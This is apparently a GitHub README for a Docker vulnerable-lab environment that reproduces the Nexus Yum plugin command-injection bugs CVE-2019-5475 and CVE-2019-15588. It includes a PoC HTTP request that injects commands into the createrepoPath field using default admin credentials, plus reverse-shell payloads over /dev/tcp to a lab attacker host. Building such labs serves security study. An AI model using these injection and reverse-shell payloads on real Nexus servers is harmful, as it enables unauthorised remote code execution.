Skip to content

CVE-2019-5475 靶场: RCE 命令注入漏洞

Notifications You must be signed in to change notification settings

EXP-Docs/CVE-2019-5475

Folders and files

NameName
Last commit message
Last commit date

Latest commit

5f42f57 · Jan 24, 2023

History

35 Commits
Jan 24, 2023
Dec 19, 2020
Dec 22, 2020
Dec 23, 2020
Dec 16, 2020
Dec 22, 2020
Feb 4, 2021
Dec 22, 2020

Repository files navigation

CVE-2019-5475

CVE-2019-5475 与 CVE-2019-15588 靶场: RCE 命令注入漏洞


0x00 背景

CVE-2019-5475 是 Nexus 关于内置插件 Yum Repository 的 RCE 命令注入漏洞,其最早被披露于 hackerone,但因官方第一次修复不完整,故又衍生出了 CVE-2019-15588 漏洞。

这两个漏洞都需要以 admin 身份登录后才可以利用,但是 nexus 默认管理员密码 admin123 经常被忽略修改,很容易就被利用了。

0x10 靶场环境

0x20 目录结构

CVE-2019-5475
├── nexus-yum-core .......... [用于 debug 的 Maven 项目:模拟在 nexus GUI 输入 createrepo 或 mergerepo]
├── nexus ................... [Nexus 容器的数据挂载目录]
├── attacker ................ [攻击者机器的构建目录]
│   └── Dockerfile .......... [攻击者机器的 Docker 构建文件]
├── docker-compose.yml ...... [Docker 的构建配置]
├── imgs .................... [辅助 README 说明的图片]
└── README.md ............... [此 README 说明]

0x40 靶场搭建

  • 宿主机预装 docker 和 docker-compose
  • 下载本仓库: git clone https://github.com/lyy289065406/CVE-2019-5475
  • 打开 Nexus 构建目录: cd CVE-2019-5475
  • 构建并运行 Nexus: docker-compose up -d
  • 约 5 分钟后可从浏览器访问 Nexus (BasicAuth 为 admin/admin123),其中:
Nexus CVE URL
2.14.9 CVE-2019-5475 http://127.0.0.1:8009/nexus
2.14.14 CVE-2019-15588 http://127.0.0.1:8014/nexus

此靶场还搭建了一台攻击机 172.168.50.2,处于与两台靶机相同的网络环境,其作用是用于验证反弹 shell

0x50 【CVE-2019-5475】靶场验证

0x51 PoC

使用 admin 登录 http://127.0.0.1:8009/nexus/#capabilities,在 Administration -> Capabilities -> Yum: Configuration -> Settings 可以找到 RCE 注入点。

输入框 Path of "createrepo"Path of "mergerepo" 均可被注入,执行结果可以从 Status 查看。

例如在 createrepo 注入点构造 PoC bash -c id || python,即可从 Status 得到命令 bash -c id 的执行结果 uid=200(nexus) gid=200(nexus) groups=200(nexus)

通过 BurpSuite 可截获到对应 PoC 请求为:

PUT /nexus/service/siesta/capabilities/RANDOM_ID HTTP/1.1
Host: 127.0.0.1:8009
accept: application/json
Content-Type: application/json
Authorization: Basic YWRtaW46YWRtaW4xMjM=
Connection: close

{"typeId":"yum","enabled":true,"properties":[{"key":"createrepoPath","value":"bash -c id || python"}],"id":"RANDOM_ID"}

0x52 EXP

这个注入点可以很轻易被利用于构造反弹 shell :

  • 登录攻击机: docker exec -it -u root docker_attacker /bin/bash
  • 利用 netcat 监听反弹: nc -lvvp 4444
  • 在上述 createrepo 注入点构造 payload: bash -c $@|bash 0 echo bash -i >&/dev/tcp/172.168.50.2/4444 0>&1 || python

0x60 【CVE-2019-15588】靶场验证

0x61 PoC

注入位置与 CVE-2019-5475 相同,调整 PoC 为: /bin/bash -c id || /createrepo

0x62 EXP

此漏洞可以使用相同的方法反弹 shell :

  • 登录攻击机: docker exec -it -u root docker_attacker /bin/bash
  • 利用 netcat 监听反弹: nc -lvvp 4444
  • createrepo 注入点构造 payload: /bin/bash -c $@|bash 0 echo bash -i >&/dev/tcp/172.168.50.2/4444 0>&1 || /createrepo

0x70 漏洞修复

0x80 关于 nexus-yum-core

nexus-yum-core 是 nexus 中关于这次漏洞利用的核心代码片段,主要用于从后端直接 debug 调试分析输入的 payload ,无需从源码搭建完整的 Nexus 服务。

0x90 参考资料

About

CVE-2019-5475 靶场: RCE 命令注入漏洞

Topics

Resources

Stars

Watchers

Forks

Releases

No releases published

Packages

No packages published